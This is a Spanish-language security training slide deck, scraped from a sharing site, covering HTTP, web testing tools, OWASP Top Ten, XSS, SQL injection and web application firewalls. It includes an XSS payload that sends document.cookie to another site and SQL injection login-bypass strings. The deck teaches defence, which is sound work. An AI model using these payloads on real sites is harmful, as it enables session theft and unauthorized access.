Testing de Seguridad de Aplicaciones Web

Tamaño: px

Comenzar la demostración a partir de la página:

Download "Testing de Seguridad de Aplicaciones Web"

Esther Olivares Montero
hace 8 años
Vistas:

1 Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. 16 de Noviembre de 2013 Coatzacoalcos - MEXICO

2 Temario - Protocolo HTTP - Herramientas de Testing Web. - Vulnerabilidades más comunes - Web Application Firewall 2

3 Protocolo HTTP 3

4 Arquitectura Web Física 4

5 Arquitectura Web Lógica 5

6 Características del Protocolo HTTP HTTP/1.1 definido en RFC 2616 Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT Encabezado Host : indica el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. Sin Estado. Conexiones TCP persistentes por defecto. Encabezado Connection : permite forzar el cierre de la conexión una vez obtenida la respuesta. Dos tipos de mensajes: Request y Response. 6

el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. Sin Estado.

7 Formato del Mensaje HTTP REQUEST MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] Métodos:, GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE o CONNECT en HTTP/1.1. Versión: HTTP/1.0 o HTTP/1.1 Los Encabezados pueden ser de tres tipos: general, de petición y/o de entidad. URI puede ser: *, URL absoluta, o PATH absoluto. 7

GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE o CONNECT en HTTP/1.1. Versión: HTTP/1.0 o HTTP/1.

8 Métodos HTTP OPTIONS: Métodos disponibles sobre el recurso especificado. GET: Solicitud del recurso especificado. HEAD: Encabezados del recurso especificado. TRACE: Permite realizar debugging. El servidor responde con el mensaje de solicitud como cuerpo del mensaje de respuesta. POST: Permite enviar información al servidor. PUT: Permite subir los datos al servidor para que sean accedidos a través de la URI especificada. DELETE: Eliminar el recurso indicado. CONNECT: Se utiliza con un servidor Proxy que puede ser utilizado como túnel. 8

El servidor responde con el mensaje de solicitud como cuerpo del mensaje de respuesta. POST: Permite enviar información al servidor.

9 Ejemplo de un Mensaje HTTP REQUEST GET HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.7.8) Gecko/ Firefox/1.0.4 (Debian package ) Paros/3.2.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,tex t/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.7 9

050517 Firefox/1.0.4 (Debian package 1.0.4-2)

10 Formato del Mensaje HTTP RESPONSE VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] Versión: HTTP/1.0 o HTTP/1.1 El código de estado es un número de tres dígitos que indica el estado de la respuesta. Descrip es una breve frase que explica el código de estado. Los Encabezados pueden ser de tres tipos: general, de respuesta y/o de entidad. 10

1 El código de estado es un número de tres dígitos que indica el estado de la respuesta.

11 Ejemplo de un Mensaje HTTP RESPONSE HTTP/ OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Content-Location: Date: Thu, 30 Jun :33:33 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 28 Jun :15:58 GMT Content-Length: 577 <html> <head> <title>mi.banco - Pagina Principal</title> <meta http-equiv="content-type" content="text/html; charset=iso "> </head>... 11

html Date: Thu, 30 Jun 2005 09:33:33 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 28

12 Códigos de Estado Rango 1xx: Informativos, se recibió el pedido y se está procesando. Rango 2xx: Pedido Exitoso, se recibió el pedido, se comprendió y se acceptó. Rango 3xx: Redirección, se debe realizar otro pedido para completar la solicitud. Rango 4xx: Error del Cliente, la solicitud está mal formulada o no se puede llevar a cabo. Rango 5xx: Error del Servidor, el servidor no pudo completar un solicitud aparentemente válida. 12

Rango 3xx: Redirección, se debe realizar otro pedido para completar la solicitud.

13 Códigos de Estado Algunos Ejemplos "200" OK: La solicitud fue exitosa. "301" Moved Permanently: Se le asignó una nueva URI al recurso. "302" Found: El recurso está accesible, temporalmente, en otra URI. "304" Not Modified: No se modificó el recurso desde que el cliente lo accedió. 400" Bad Request: Petición errónea. "401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar los encabezados de autenticación. "403" Forbidden: El servidor comprende la solicitud pero no va a permitir el acceso al recurso. "404" Not Found: Recurso no encontrado. "405" Method Not Allowed: No se permite el uso del método sobre el recurso. "500" Internal Server Error: Error en el servidor al procesar el pedido. "505" HTTP Version not supported: versión HTTP no soportada. 13

"401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar los encabezados de autenticación.

14 Manejo de Sesión: Cookies - Mecanismo para el manejo de estado en el protocolo HTTP. - Se define en los RFC 2109, y RFC 2965 añade la versión 2. - Define el encabezado Set-Cookie: Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio; Max-Age=delta-segundos; Path=path; Secure; Version=version Los campos NAME, y Version son los únicos requeridos. Domain: dominio para el cual la cookie es válida. Max-Age: tiempo de vida, en segundos, de la cookie. Path: especifica el subconjunto de URL s para las que aplica la cookie. Secure: la cookie debe ser manejada de forma segura a definir por el Navegador Web. 14

Version=version Los campos NAME, y Version son los únicos requeridos. Domain: dominio para el cual la cookie es válida.

15 Herramientas de Testing Web 15

16 Proxy Local: Burp Un proxy local permite interceptar los pedidos del navegador y modificarlos. ( 16

17 Scanner de Vulnerabilidades: Nikto Un Scanner de vulnerabilidades analiza el servidor verificando problemas comunes de configuración, versiones desactualizadas o vulnerables, y problemas de seguridad de distintos servidores y aplicaciones Web. ( 17

versiones desactualizadas o vulnerables, y problemas de seguridad de

18 Scanner de Vulnerabilidades: N-Stealth ( 18

19 Vulnerabilides más comunes 19

20 OWASP TOPTEN Nr Vulnerabilidad A1 Cross Site Scripting (XSS) Secuencia de Comandos en Sitios Cruzados A2 Injection Flaws Fallas de Inyección A3 Malicious File Execution Ejecución de ficheros malintencionados A4 Insecure Direct Object Reference Referencia Directa a Objetos Insegura A5 A6 A7 Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Vulnerabilidad de Falsificación de Petición en Sitios Cruzados Revelación de Información y gestión Incorrecta de Errores Pérdida de Autenticación y Gestión de Errores A8 Insecure Cryptographic Storage Almacenamiento criptográfico inseguro A9 Insecure Communications Comunicaciones Inseguras A10 Failure to Restrict URL Access Falla de restricción de acceso a URL 20

Authentication and Session Management Vulnerabilidad de Falsificación de Petición en Sitios Cruzados Revelación de Información y gestión Incorrecta de Errores Pérdida de Autenticación y Gestión de

21 Cross-Site Scripting Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una página Web que se ejecuta cuando la página es accedida por un usuario

22 Cross-Site Scripting: Qué se puede hacer? Robo de Credenciales: <script>document.location=' +document.cookie</script> El script anterior envía las cookies de quién lo ejecute. Redirección de Cliente: <script>document.location= El script anterior redirecciona al usuario a el sitio especificado. En resumen... Lo que se pueda hacer con Javascript! 22 22

23 Cross-Site Scripting y Phishing Ejemplo: La URL es la del sitio, sin embargo se visualiza otro sitio a través de una vulnerabilidad de XSS 23 23

24 Escalación de Privilegios y Manejo de Sesión Session Prediction: Las aplicaciones vulnerables generan credenciales de autenticación predecibles; permitiendo deducir las credenciales de un usuario autenticado o las que van a ser asignadas al próximo usuario que se autentique. Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial

25 SQL Injection Es una técnica cuyo objetivo es el de inyectar consultas SQL arbitrarias en páginas vulnerables que interactúan con una Base de Datos, logrando de esta forma obtener, modificar y/o eliminar información sensible. Atacando ciertos motores de Bases de Datos es posible, también, lograr la ejecución de comandos del Sistema Operativo

26 SQL Injection Conceptos Básicos 26 26

27 SQL Injection Demostración: Eludiendo Logins SELECT * FROM Usuarios WHERE Username = luis AND Password = clave SELECT * FROM Usuarios WHERE Username = OR 1=1-- AND Password = aa SELECT * FROM Usuarios WHERE Username = admin -- AND Password = aa 27 27

28 Web Application Firewall 28

29 Qué es WAF? Una WAF es un Firewall de aplicaciones web que funciona a nivel de la capa 7 del modelo OSI. Nos permite frenar intentos de intrusión a nivel de aplicaciones web. Existen varias soluciones: - URLSCAN de Microsoft - Mod_Secuity sobre Apache. - Soluciones comerciales (CISCO, BlueCoat, F5, etc). 29

30 ModSecurity ( Módulo para el servidor Web Apache. Actúa como IDS entre el cliente y el servidor Web; filtra los pedidos en base a expresiones regulares. Nos permite filtrar por: El encabezado HTTP La URL El payload Las acciones permitidas son: Logear el pedido Rechazar el pedido (permite especificar el HTTP status de la respuesta) Redireccioner el pedido Dejar pasar el pedido 30

31 Modos de Operación del WAF Proxy Reverso: Se redirige el tráfico HTTP(S) para que pase a través del WAF que está actuando como un proxy reverso. Es decir, recibe las peticiones HTTP, las resuelve contra los servidores Web y, luego, las reenvía al cliente. Esto le permite procesar los pedidos y las respuesta en busca de ataques o resultados de los ataques. 31

32 Capacidades de Filtrado: Qué puede ver? El WAF puede actuar sobre las siguientes porciones de un pedido HTTP y/o de una respuesta HTTP: Métodos Versión del protocolo Encabezados Cuerpo del mensaje URL Código de respuesta IP Origen MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] 32

33 Conclusiones El área de testing de seguridad de aplicaciones web es muy amplio y requiere de conocimientos de redes, bases de datos, sistemas operativos y programación. Se detectan vulnerabilidades de seguridad en el 70% de las aplicaciones web que nosotros hemos evaluado. Es una excelente área para investigar y desarrollarse. 33

34 Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. 16 de Noviembre de 2013 Coatzacoalcos - MEXICO

Documentos relacionados

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web Leandro Meiners lmeiners@cybsec cybsec.comcom Septiembre de 2005 Buenos Aires - ARGENTINA Temario Temario Introducción al Protocolo HTTP: Arquitectura, carácterísticas, autenticación,